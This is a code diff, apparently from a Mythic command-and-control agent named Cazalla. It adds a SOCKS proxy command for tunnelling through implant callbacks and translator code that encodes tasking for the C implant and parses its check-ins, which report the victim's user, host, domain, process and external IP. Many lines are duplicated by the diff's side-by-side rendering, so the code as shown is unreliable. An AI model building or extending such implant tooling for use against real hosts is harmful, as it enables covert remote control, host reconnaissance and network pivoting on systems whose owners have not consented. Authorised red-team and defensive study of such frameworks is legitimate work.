# stderr=asyncio.subprocess.PIPE
# )
# stdout, stderr = await proc.communicate()
# print(stdout.decode(), stderr.decode())
proc = await asyncio.create_subprocess_shell(command)
await proc.wait()
stdout, stderr = await proc.communicate()
print(stdout)
print(stderr)
await SendMythicRPCPayloadUpdatebuildStep(MythicRPCPayloadUpdateBuildStepMessage( await SendMythicRPCPayloadUpdatebuildStep(MythicRPCPayloadUpdateBuildStepMessage(
PayloadUUID=self.uuid, PayloadUUID=self.uuid,
StepName="Compiling", StepName="Compiling",
StepStdout="Successfuly compiled Ra", StepStdout="Successfully compiled cazalla",
StepSuccess=True StepSuccess=True
)) ))
build_msg = ""
resp.payload = open(filename, "rb").read()
resp.payload = open(filename, "rb").read()
return resp return resp
@@ -0,0 +1,114 @@
from mythic_container.MythicCommandBase import *
from mythic_container.MythicRPC import (
SendMythicRPCProxyStartCommand,
MythicRPCProxyStartMessage,
SendMythicRPCProxyStopCommand,
MythicRPCProxyStopMessage,
CALLBACK_PORT_TYPE_SOCKS
)
import json
import logging
logging.basicConfig(level=logging.INFO)
class SocksArguments(TaskArguments):
def __init__(self, command_line, **kwargs):
super().__init__(command_line, **kwargs)
self.args = [
CommandParameter(
name="action",
type=ParameterType.ChooseOne,
description="Acción a realizar (start/stop)",
choices=["start", "stop"],
default_value="start",
parameter_group_info=[ParameterGroupInfo(required=True, ui_position=1)]
),
CommandParameter(
name="port",
type=ParameterType.Number,
description="Puerto local a exponer (solo para start)",
parameter_group_info=[ParameterGroupInfo(required=False, ui_position=2)]
),
]
async def parse_arguments(self):
if len(self.command_line) == 0:
raise ValueError("Debe especificar 'start' o 'stop'.")
parts = self.command_line.strip().split()
action = parts[0].lower()
if action not in ["start", "stop"]:
raise ValueError("Acción debe ser 'start' o 'stop'.")
# Parsear puerto (opcional para ambos)
# Si no se especifica, usar 7002 como default (puerto común para SOCKS en Mythic)
port = int(parts[1]) if len(parts) > 1 else 7002
self.add_arg("port", port)
self.add_arg("action", action)
async def parse_dictionary(self, dictionary_arguments):
action = dictionary_arguments.get("action", "start")
# Si no hay puerto, usar 7002 como default
if "port" not in dictionary_arguments:
dictionary_arguments["port"] = 7002
self.load_args_from_dictionary(dictionary_arguments)
class SocksCommand(CommandBase):
cmd = "socks"
needs_admin = False
help_cmd = "socks start [port] / socks stop [port]"
description = "Inicia o detiene el proxy SOCKS en el servidor Mythic. Puerto por defecto: 7002"
version = 1
author = "OFSTeam"
argument_class = SocksArguments
attackmapping = []
attributes = CommandAttributes(
supported_os=[SupportedOS.Windows],
builtin=True,
)
async def create_tasking(self, task: MythicTask) -> MythicTask:
action = task.args.get_arg("action")
port = task.args.get_arg("port")
task.display_params = f"{action.upper()} (puerto {port})" if action == "start" else "STOP"
return task
async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse:
response = PTTaskCreateTaskingMessageResponse(TaskID=taskData.Task.ID, Success=True)
action = taskData.args.get_arg("action")
port = taskData.args.get_arg("port") if taskData.args.get_arg("port") else 7002
try:
if action == "start":
resp = await SendMythicRPCProxyStartCommand(MythicRPCProxyStartMessage(
TaskID=taskData.Task.ID,
LocalPort=port,
PortType=CALLBACK_PORT_TYPE_SOCKS
))
logging.info(f"SOCKS proxy started on port {port}: {resp}")
if not resp.Success:
response.Success = False
response.Error = resp.Error
elif action == "stop":
# MythicRPCProxyStopMessage también requiere Port y PortType
resp = await SendMythicRPCProxyStopCommand(MythicRPCProxyStopMessage(
TaskID=taskData.Task.ID,
Port=port,
PortType=CALLBACK_PORT_TYPE_SOCKS
))
logging.info(f"SOCKS proxy stopped: {resp}")
if not resp.Success:
response.Success = False
response.Error = resp.Error
except Exception as e:
logging.error(f"Error en SOCKS RPC: {e}")
response.Success = False
response.Error = str(e)
return response
async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse:
resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True)
return resp
@@ -13,7 +13,11 @@ commands = {
"pwd": {"hex_code": 0x22, "input_type": None}, "pwd": {"hex_code": 0x22, "input_type": None},
"cp": {"hex_code": 0x23, "input_type": "string"}, "cp": {"hex_code": 0x23, "input_type": "string"},
"mkdir": {"hex_code": 0x24, "input_type": "string"}, "mkdir": {"hex_code": 0x24, "input_type": "string"},
"rm": {"hex_code": 0x25, "input_type": "string"} "rm": {"hex_code": 0x25, "input_type": "string"},
# Added SOCKS control commands
"start_socks": {"hex_code": 0x60, "input_type": "int"},
"stop_socks": {"hex_code": 0x61, "input_type": None},
"socks": {"hex_code": 0x60, "input_type": "socks_special"} # Se maneja especialmente
} }
def responseTasking(tasks): def responseTasking(tasks):
@@ -62,11 +66,30 @@ def responseTasking(tasks):
parameters = json.loads(task["parameters"]) parameters = json.loads(task["parameters"])
data += len(parameters).to_bytes(4, "big") data += len(parameters).to_bytes(4, "big")
for param in parameters: for param in parameters:
# Expecting integer values in parameters dict
data += (parameters[param]).to_bytes(4, "big") # Convertir el int correctamente data += (parameters[param]).to_bytes(4, "big") # Convertir el int correctamente
else: else:
data += b"\x00\x00\x00\x00" data += b"\x00\x00\x00\x00"
dataTask += len(data).to_bytes(4, "big") + data dataTask += len(data).to_bytes(4, "big") + data
elif commands[command_to_run]["input_type"] == "socks_special":
# Comando SOCKS: parsea action para decidir entre START (0x60) o STOP (0x61)
parameters = json.loads(task["parameters"]) if task["parameters"] != "" else {}
action = parameters.get("action", "start")
port = parameters.get("port", 1080)
if action == "start":
# START_SOCKS_CMD (0x60) + task_id + puerto
data = bytes([0x60]) + task_id
data += port.to_bytes(4, "big")
print(f"[DEBUG] SOCKS START: port={port}")
else:
# STOP_SOCKS_CMD (0x61) + task_id (sin parámetros)
data = bytes([0x61]) + task_id
print(f"[DEBUG] SOCKS STOP")
dataTask += len(data).to_bytes(4, "big") + data
dataToSend = dataHead + dataTask dataToSend = dataHead + dataTask
print("estamos en el dataToSend\n") print("estamos en el dataToSend\n")
print(dataToSend.hex()) print(dataToSend.hex())
@@ -2,8 +2,8 @@ from translator.utils import *
import ipaddress import ipaddress
import json import json
def checkIn(data):
def checkIn(data):
# Retrieve UUID # Retrieve UUID
uuid = data[:36] uuid = data[:36]
data = data[36:] data = data[36:]
@@ -23,7 +23,7 @@ def checkIn(data):
# Retrieve OS # Retrieve OS
targetOS, data = getBytesWithSize(data) targetOS, data = getBytesWithSize(data)
# Retrive Architecture # Retrieve Architecture
archOS = data[0] archOS = data[0]
if archOS == 0x64: if archOS == 0x64:
archOS = "x64" archOS = "x64"
@@ -49,7 +49,7 @@ def checkIn(data):
# Retrieve Process Name # Retrieve Process Name
processName, data = getBytesWithSize(data) processName, data = getBytesWithSize(data)
#Retrieve External IP # Retrieve External IP
externalIP, data = getBytesWithSize(data) externalIP, data = getBytesWithSize(data)
dataJson = { dataJson = {
@@ -59,10 +59,10 @@ def checkIn(data):
"user": username.decode('cp850'), "user": username.decode('cp850'),
"host": hostname.decode('cp850'), "host": hostname.decode('cp850'),
"domain": domain.decode('UTF-16LE'), "domain": domain.decode('UTF-16LE'),
"process_name":processName.decode('cp850'), "process_name": processName.decode('cp850'),
"pid": pid, "pid": pid,
"uuid": uuid.decode('cp850'), "uuid": uuid.decode('cp850'),
"architecture": archOS , "architecture": archOS,
"externalIP": externalIP.decode('cp850'), "externalIP": externalIP.decode('cp850'),
} }
@@ -71,12 +71,12 @@ def checkIn(data):
def getTasking(data): def getTasking(data):
numTasks = int.from_bytes(data[0:4]) numTasks = int.from_bytes(data[0:4])
dataJson = { "action": "get_tasking", "tasking_size": numTasks } dataJson = {"action": "get_tasking", "tasking_size": numTasks}
return dataJson return dataJson
def postResponse(data): def postResponse(data):
print("Tamaño del Base64 recibido: {len(data)} bytes") print(f"Tamaño del Base64 recibido: {len(data)} bytes")
resTaks = [] resTaks = []
uuidTask = data[:36] uuidTask = data[:36]
@@ -84,29 +84,44 @@ def postResponse(data):
output, data = getBytesWithSize(data) output, data = getBytesWithSize(data)
print("Tamaño después de extraer UUID: {len(data)} bytes") print(f"Tamaño después de extraer UUID: {len(data)} bytes")
try: try:
decoded_output = output.decode('cp850') decoded_output = output.decode('cp850')
except Exception as e: except Exception as e:
print("Fallo al decodificar la salida: {e}") print(f"Fallo al decodificar la salida: {e}")
decoded_output = "[ERROR DECODIFICANDO]" decoded_output = "[ERROR DECODIFICANDO]"
jsonTask = { jsonTask = {
"task_id": uuidTask.decode('cp850'), "task_id": uuidTask.decode('cp850'),
"user_output": decoded_output, "user_output": decoded_output,
"completed": True,
} }
jsonTask["completed"] = True
resTaks.append(jsonTask) resTaks.append(jsonTask)
dataJson = { dataJson = {"action": "post_response", "responses": resTaks}
"action": "post_response",
"responses": resTaks
}
print("Respuesta generada: {json.dumps(dataJson, indent=4)}") print(f"Respuesta generada: {json.dumps(dataJson, indent=4)}")
return dataJson return dataJson
##FALLA ESTA MIERDA, PORQUE PARECE QUE LO QUE SE ENVIA ES CORRECTO, HAY QUE REVISAR ESTO
# ==========================================================
# NUEVAS FUNCIONES PARA SOPORTE SOCKS
# ==========================================================
def startSocks(data):
"""Parses incoming data for start_socks tasks."""
if len(data) >= 4:
port = int.from_bytes(data[:4], "big")
else:
port = 1080
print(f"[DEBUG] startSocks(): puerto recibido -> {port}")
return {"action": "start_socks", "port": port}
def stopSocks(data):
"""Parses incoming data for stop_socks tasks."""
print("[DEBUG] stopSocks() recibido")
return {"action": "stop_socks"}
+150 -9
View File
@@ -11,7 +11,7 @@ from mythic_container.TranslationBase import *
class cazalla_translator(TranslationContainer): class cazalla_translator(TranslationContainer):
name = "cazalla_translator" name = "cazalla_translator"
description = "python translation service for the Kaseya C agent Cazalla" description = "Python translation service for the C agent Cazalla"
author = "OFSTeam" author = "OFSTeam"
async def generate_keys(self, inputMsg: TrGenerateEncryptionKeysMessage) -> TrGenerateEncryptionKeysMessageResponse: async def generate_keys(self, inputMsg: TrGenerateEncryptionKeysMessage) -> TrGenerateEncryptionKeysMessageResponse:
@@ -23,30 +23,171 @@ class cazalla_translator(TranslationContainer):
async def translate_to_c2_format(self, inputMsg: TrMythicC2ToCustomMessageFormatMessage) -> TrMythicC2ToCustomMessageFormatMessageResponse: async def translate_to_c2_format(self, inputMsg: TrMythicC2ToCustomMessageFormatMessage) -> TrMythicC2ToCustomMessageFormatMessageResponse:
response = TrMythicC2ToCustomMessageFormatMessageResponse(Success=True) response = TrMythicC2ToCustomMessageFormatMessageResponse(Success=True)
print("C2 --> IMPLANT :" + json.dumps(inputMsg.Message)) print("C2 --> IMPLANT :" + json.dumps(inputMsg.Message))
if inputMsg.Message["action"] == "checkin": if inputMsg.Message["action"] == "checkin":
print("Response CHECKIN") print("Response CHECKIN")
response.Message = responseCheckin(inputMsg.Message["id"]) response.Message = responseCheckin(inputMsg.Message["id"])
elif inputMsg.Message["action"] == "get_tasking": elif inputMsg.Message["action"] == "get_tasking":
print("Response TASKING") print("Response TASKING")
response.Message = responseTasking(inputMsg.Message["tasks"]) response.Message = responseTasking(inputMsg.Message["tasks"]) # base tasks
print(f"[TRANSLATOR] Base tasking message: {len(response.Message)} bytes")
# Append SOCKS array if present from Mythic
socks_list = inputMsg.Message.get("socks", [])
print(f"[TRANSLATOR] SOCKS list: {len(socks_list)} items")
if socks_list:
# Encode an extension block for C agent: 0xF5 | [len] | [records]
# Each record: [Int32 server_id][Byte exit][Int32 b64len][b64]
extension = bytearray()
for s in socks_list:
sid = int(s.get("server_id", 0))
exitb = 1 if s.get("exit", False) else 0
data_str = s.get("data") or ""
b64 = data_str.encode() if data_str else b""
data_preview = data_str[:50] if data_str else "(null)"
print(f"[TRANSLATOR] SOCKS: sid={sid} exit={exitb} b64_len={len(b64)} data={data_preview}")
extension += sid.to_bytes(4, "big")
extension += bytes([exitb])
extension += len(b64).to_bytes(4, "big")
extension += b64
socks_block = bytes([0xF5]) + len(extension).to_bytes(4, "big") + bytes(extension)
print(f"[TRANSLATOR] SOCKS block total: {len(socks_block)} bytes (marker + len={5} + ext={len(extension)})")
response.Message += socks_block
print(f"[TRANSLATOR] Final message with SOCKS: {len(response.Message)} bytes")
elif inputMsg.Message["action"] == "post_response": elif inputMsg.Message["action"] == "post_response":
print("Response POSTREP") print("Response POSTREP")
response.Message = responsePosting(inputMsg.Message["responses"]) response.Message = responsePosting(inputMsg.Message["responses"]) # base responses
socks_list = inputMsg.Message.get("socks", [])
if socks_list:
extension = bytearray()
for s in socks_list:
sid = int(s.get("server_id", 0))
exitb = 1 if s.get("exit", False) else 0
data_str = s.get("data") or ""
b64 = data_str.encode() if data_str else b""
extension += sid.to_bytes(4, "big")
extension += bytes([exitb])
extension += len(b64).to_bytes(4, "big")
extension += b64
response.Message += bytes([0xF5]) + len(extension).to_bytes(4, "big") + bytes(extension)
# ============================
# NUEVOS COMANDOS SOCKS
# ============================
elif inputMsg.Message["action"] == "start_socks":
print("Response START_SOCKS")
# Construye un paquete de tipo "start_socks" con el puerto
tasks = [{
"command": "start_socks",
"id": inputMsg.Message.get("id", "00000000-0000-0000-0000-000000000000"),
"parameters": json.dumps({"port": int(inputMsg.Message.get("port", 1080))})
}]
response.Message = responseTasking(tasks)
elif inputMsg.Message["action"] == "stop_socks":
print("Response STOP_SOCKS")
tasks = [{
"command": "stop_socks",
"id": inputMsg.Message.get("id", "00000000-0000-0000-0000-000000000000"),
"parameters": ""
}]
response.Message = responseTasking(tasks)
return response return response
def extract_socks_block(self, data):
"""Extrae el bloque SOCKS (0xF5) del mensaje del implante y lo parsea."""
socks_array = []
clean_data = data
# Buscar el marcador 0xF5
cursor = 0
while cursor + 5 <= len(data):
if data[cursor] == 0xF5:
print(f"[TRANSLATOR] ¡Bloque SOCKS 0xF5 encontrado en offset {cursor}!")
# Leer longitud del bloque
ext_len = int.from_bytes(data[cursor+1:cursor+5], "big")
print(f"[TRANSLATOR] Longitud del bloque SOCKS: {ext_len} bytes")
if cursor + 5 + ext_len > len(data):
print(f"[TRANSLATOR] ERROR: bloque SOCKS truncado")
break
# Parsear cada registro SOCKS dentro del bloque
ecur = cursor + 5
eend = cursor + 5 + ext_len
while ecur + 9 <= eend:
sid = int.from_bytes(data[ecur:ecur+4], "big")
exitf = data[ecur+4]
b64len = int.from_bytes(data[ecur+5:ecur+9], "big")
ecur += 9
if ecur + b64len > eend:
print(f"[TRANSLATOR] ERROR: registro SOCKS truncado")
break
# Extraer datos base64
b64_data = None
if b64len > 0:
b64_data = data[ecur:ecur+b64len].decode('ascii')
socks_record = {
"server_id": sid,
"exit": bool(exitf),
"data": b64_data
}
socks_array.append(socks_record)
print(f"[TRANSLATOR] SOCKS record: sid={sid} exit={exitf} b64_len={b64len}")
ecur += b64len
# Remover el bloque SOCKS del mensaje
clean_data = data[:cursor]
print(f"[TRANSLATOR] Bloque SOCKS extraído, {len(socks_array)} registros encontrados")
break
cursor += 1
return clean_data, socks_array
async def translate_from_c2_format(self, inputMsg: TrCustomMessageToMythicC2FormatMessage) -> TrCustomMessageToMythicC2FormatMessageResponse: async def translate_from_c2_format(self, inputMsg: TrCustomMessageToMythicC2FormatMessage) -> TrCustomMessageToMythicC2FormatMessageResponse:
response = TrCustomMessageToMythicC2FormatMessageResponse(Success=True) response = TrCustomMessageToMythicC2FormatMessageResponse(Success=True)
print("IMPLANT --> C2 : " + binascii.hexlify(inputMsg.Message).decode('cp850')) print("IMPLANT --> C2 : " + binascii.hexlify(inputMsg.Message).decode('cp850'))
#response.Message = json.loads(inputMsg.Message)
data = inputMsg.Message data = inputMsg.Message
# Extraer bloque SOCKS si existe (después del primer byte de comando)
clean_data, socks_array = self.extract_socks_block(data[1:])
if data[0] == commands["checkin"]["hex_code"]: if data[0] == commands["checkin"]["hex_code"]:
print("CHECK IN") print("CHECK IN")
response.Message = checkIn(data[1:]) response.Message = checkIn(clean_data)
elif data[0] == commands["get_tasking"]["hex_code"]: #GET_TASKING
elif data[0] == commands["get_tasking"]["hex_code"]:
print("GET TASKING") print("GET TASKING")
response.Message = getTasking(data[1:]) response.Message = getTasking(clean_data)
elif data[0] == commands["post_response"]["hex_code"]: #POSTREPONSE # Agregar array SOCKS si existe
if socks_array:
response.Message["socks"] = socks_array
print(f"[TRANSLATOR] Agregados {len(socks_array)} registros SOCKS a GET TASKING")
elif data[0] == commands["post_response"]["hex_code"]:
print("POST RESPONSE") print("POST RESPONSE")
response.Message = postResponse(data[1:]) response.Message = postResponse(clean_data)
# Agregar array SOCKS si existe
if socks_array:
response.Message["socks"] = socks_array
print(f"[TRANSLATOR] Agregados {len(socks_array)} registros SOCKS a POST RESPONSE")
# ============================
# NUEVOS COMANDOS SOCKS
# ============================
elif data[0] == commands["start_socks"]["hex_code"]:
print("START SOCKS")
response.Message = startSocks(clean_data)
elif data[0] == commands["stop_socks"]["hex_code"]:
print("STOP SOCKS")
response.Message = stopSocks(clean_data)
return response return response